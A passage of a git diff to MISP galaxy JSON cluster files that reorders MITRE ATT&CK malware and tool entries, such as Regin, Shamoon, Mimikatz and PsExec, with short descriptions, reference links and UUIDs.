"PlugX" + }, + { + "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0124", + "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + ], + "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236" + }, + "value": "Pisloader" + }, + { + "description": "Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0147", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + ], + "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" + }, + "related": [ + { + "dest-uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Pteranodon" + }, + { + "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0113", + "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + ], + "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69" + }, + "related": [ + { + "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Prikormka" + }, + { + "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0078", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b" + }, + "value": "Psylo" + }, + { + "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0125", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + ], + "synonyms": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ], + "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" + }, + "related": [ + { + "dest-uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Remsec" + }, + { + "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0019", + "https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf" + ], + "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0" + }, + "related": [ + { + "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Regin" + }, + { + "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0090", + "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + ], + "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38" + }, + "related": [ + { + "dest-uuid": "53e94bc9-c8d2-4fb6-9c02-00841e454050", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Rover" + }, + { + "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]\n\nAliases: Sakula, Sakurel, VIPER", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0074", + "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + ], + "synonyms": [ + "Sakula", + "Sakurel", + "VIPER" + ], + "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e" + }, + "related": [ + { + "dest-uuid": "3eca2d5f-41bf-4ad4-847f-df18befcdc44", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f6c137f0-979c-4ce2-a0e5-2a080a5a1746", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e88eb9b1-dc8b-4696-8dcf-0c29924d0f8b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Sakula" + }, + { + "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]\n\nAliases: Shamoon, Disttrack", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0140", + "https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html", + "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + ], + "synonyms": [ + "Shamoon", + "Disttrack" + ], + "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3" + }, + "related": [ + { + "dest-uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Shamoon" + }, + { + "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0018", + "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments", + "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + ], + "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9" + }, + "value": "Sykipot" + }, + { + "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]\n\nAliases: XTunnel, X-Tunnel, XAPS", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0117", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + ], + "synonyms": [ + "XTunnel", + "X-Tunnel", + "XAPS" + ], + "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab" + }, + "related": [ + { + "dest-uuid": "6d180bd7-3c77-4faf-b98b-dc2ab5f49101", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "XTunnel" + }, + { + "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0011", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" + ], + "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517" + }, + "related": [ + { + "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Taidoor" + }, + { + "description": "Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0022", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" + ], + "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4" + }, + "related": [ + { + "dest-uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d674ffd2-1f27-403b-8fe9-b4af6e303e5c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Uroburos" + }, + { + "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0041", + "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + ], + "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085" + }, + "value": "Wiper" + }, + { + "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0141", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", + "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + ], + "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21" + }, + "related": [ + { + "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Winnti" + }, + { + "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]\n\nAliases: Zeroaccess, Trojan.Zeroaccess", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0027", + "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + ], + "synonyms": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ], + "uuid": "552462b9-ae79-49dd-855c-5973014e157f" + }, + "value": "Zeroaccess" + }, + { + "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0068", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0" + }, + "value": "httpclient" + }, + { + "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.[[Citation: CrowdStrike Putter Panda]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0067", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d" + }, + "related": [ + { + "dest-uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "pngdowner" } ], "version": 7 diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index f428d0d..2893867 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -9,47 +9,6 @@ "type": "mitre-tool", "uuid": "d700dc5c-78f6-11e7-a476-5f748c8e4fe0", "values": [ - { - "description": "at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]\n\nAliases: at, at.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0110", - "https://technet.microsoft.com/en-us/library/bb490866.aspx" - ], - "synonyms": [ - "at", - "at.exe" - ], - "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952" - }, - "value": "at" - }, - { - "description": "route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]\n\nAliases: route, route.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0103", - "https://technet.microsoft.com/en-us/library/bb490991.aspx" - ], - "synonyms": [ - "route", - "route.exe" - ], - "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de" - }, - "value": "route" - }, - { - "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0057", - "https://technet.microsoft.com/en-us/library/bb491010.aspx" - ], - "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f" - }, - "value": "Tasklist" - }, { "description": "Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]\n\nAliases: Windows Credential Editor, WCE", "meta": { @@ -65,186 +24,6 @@ }, "value": "Windows Credential Editor" }, - { - "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]\n\nAliases: schtasks, schtasks.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0111", - "https://technet.microsoft.com/en-us/library/bb490996.aspx" - ], - "synonyms": [ - "schtasks", - "schtasks.exe" - ], - "uuid": "c9703cd3-141c-43a0-a926-380082be5d04" - }, - "value": "schtasks" - }, - { - "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0116", - "https://github.com/hfiref0x/UACME" - ], - "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507" - }, - "related": [ - { - "dest-uuid": "ccde5b0d-fe13-48e6-a6f4-4e434ce29371", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "UACMe" - }, - { - "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0101", - "https://en.wikipedia.org/wiki/Ifconfig" - ], - "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5" - }, - "value": "ifconfig" - }, - { - "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0002", - "https://adsecurity.org/?page%20id=1821", - "https://github.com/gentilkiwi/mimikatz" - ], - "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60" - }, - "related": [ - { - "dest-uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Mimikatz" - }, - { - "description": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0123", - "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" - ], - "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" - }, - "value": "xCmd" - }, - { - "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]\n\nAliases: systeminfo.exe, Systeminfo", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0096", - "https://technet.microsoft.com/en-us/library/bb491007.aspx" - ], - "synonyms": [ - "systeminfo.exe", - "Systeminfo" - ], - "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" - }, - "value": "Systeminfo" - }, - { - "description": "netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]\n\nAliases: netsh, netsh.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0108", - "https://technet.microsoft.com/library/bb490939.aspx" - ], - "synonyms": [ - "netsh", - "netsh.exe" - ], - "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71" - }, - "value": "netsh" - }, - { - "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0105", - "https://technet.microsoft.com/en-us/library/cc732952.aspx" - ], - "synonyms": [ - "dsquery", - "dsquery.exe" - ], - "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe" - }, - "value": "dsquery" - }, - { - "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0008", - "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5" - ], - "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54" - }, - "related": [ - { - "dest-uuid": "8410d208-7450-407d-b56c-e5c1ced19632", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "gsecdump" - }, - { - "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]\n\nAliases: ping.exe, Ping", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0097", - "https://technet.microsoft.com/en-us/library/bb490968.aspx" - ], - "synonyms": [ - "ping.exe", - "Ping" - ], - "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47" - }, - "value": "Ping" - }, - { - "description": "Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0120", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe" - }, - "value": "Fgdump" - }, - { - "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0121", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b" - }, - "value": "Lslsass" - }, { "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]", "meta": { @@ -256,206 +35,6 @@ }, "value": "Pass-The-Hash Toolkit" }, - { - "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]\n\nAliases: FTP, ftp.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0095", - "https://en.wikipedia.org/wiki/File%20Transfer%20Protocol" - ], - "synonyms": [ - "FTP", - "ftp.exe" - ], - "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565" - }, - "value": "FTP" - }, - { - "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]\n\nAliases: ipconfig, ipconfig.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0100", - "https://technet.microsoft.com/en-us/library/bb490921.aspx" - ], - "synonyms": [ - "ipconfig", - "ipconfig.exe" - ], - "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11" - }, - "value": "ipconfig" - }, - { - "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]\n\nAliases: certutil, certutil.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0160", - "https://technet.microsoft.com/library/cc732443.aspx" - ], - "synonyms": [ - "certutil", - "certutil.exe" - ], - "uuid": "3e205e84-9f90-4b4b-8896-c82189936a15" - }, - "related": [ - { - "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "certutil" - }, - { - "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]\n\nAliases: nbtstat, nbtstat.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0102", - "https://technet.microsoft.com/en-us/library/cc940106.aspx" - ], - "synonyms": [ - "nbtstat", - "nbtstat.exe" - ], - "uuid": "b35068ec-107a-4266-bda8-eb7036267aea" - }, - "value": "nbtstat" - }, - { - "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]\n\nAliases: HTRAN, HUC Packet Transmit Tool", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0040", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" - ], - "synonyms": [ - "HTRAN", - "HUC Packet Transmit Tool" - ], - "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e" - }, - "related": [ - { - "dest-uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "HTRAN" - }, - { - "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]\n\nAliases: netstat, netstat.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0104", - "https://technet.microsoft.com/en-us/library/bb490947.aspx" - ], - "synonyms": [ - "netstat", - "netstat.exe" - ], - "uuid": "4664b683-f578-434f-919b-1c1aad2a1111" - }, - "value": "netstat" - }, - { - "description": "pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0006", - "https://en.wikipedia.org/wiki/Pwdump" - ], - "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700" - }, - "value": "pwdump" - }, - { - "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0119", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52" - }, - "value": "Cachedump" - }, - { - "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for [[Discovery]], moving laterally through [[Windows admin shares]] using net use commands, and interacting with services.\n\nAliases: Net, net.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0039", - "https://msdn.microsoft.com/en-us/library/aa939914", - "http://windowsitpro.com/windows/netexe-reference" - ], - "synonyms": [ - "Net", - "net.exe" - ], - "uuid": "03342581-f790-4f03-ba41-e82e67392e23" - }, - "value": "Net" - }, - { - "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0029", - "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", - "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" - ], - "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" - }, - "related": [ - { - "dest-uuid": "6dd05630-9bd8-11e8-a8b9-47ce338a4367", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PsExec" - }, - { - "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]\n\nAliases: Arp, arp.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0099", - "https://technet.microsoft.com/en-us/library/bb490864.aspx" - ], - "synonyms": [ - "Arp", - "arp.exe" - ], - "uuid": "30489451-5886-4c46-90c9-0dff9adc5252" - }, - "value": "Arp" - }, - { - "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir[[Citation: TechNet Dir]]), deleting files (e.g., del[[Citation: TechNet Del]]), and copying files (e.g., copy[[Citation: TechNet Copy]]).\n\nAliases: cmd, cmd.exe", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0106", - "https://technet.microsoft.com/en-us/library/cc771049.aspx", - "https://technet.microsoft.com/en-us/library/cc755121.aspx", - "https://technet.microsoft.com/en-us/library/bb490886.aspx", - "https://technet.microsoft.com/en-us/library/bb490880.aspx" - ], - "synonyms": [ - "cmd", - "cmd.exe" - ], - "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e" - }, - "value": "cmd" - }, { "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]\n\nThe list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics.", "meta": { @@ -490,6 +69,197 @@ ], "value": "Cobalt Strike" }, + { + "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0116", + "https://github.com/hfiref0x/UACME" + ], + "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507" + }, + "related": [ + { + "dest-uuid": "ccde5b0d-fe13-48e6-a6f4-4e434ce29371", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "UACMe" + }, + { + "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]\n\nAliases: HTRAN, HUC Packet Transmit Tool", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0040", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + ], + "synonyms": [ + "HTRAN", + "HUC Packet Transmit Tool" + ], + "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e" + }, + "related": [ + { + "dest-uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "HTRAN" + }, + { + "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]\n\nAliases: Arp, arp.exe", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0099", + "https://technet.microsoft.com/en-us/library/bb490864.aspx" + ], + "synonyms": [ + "Arp", + "arp.exe" + ], + "uuid": "30489451-5886-4c46-90c9-0dff9adc5252" + }, + "value": "Arp" + }, + { + "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0119", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52" + }, + "value": "Cachedump" + }, + { + "description": "xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0123", + "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + ], + "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" + }, + "value": "xCmd" + }, + { + "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]", + "meta": { 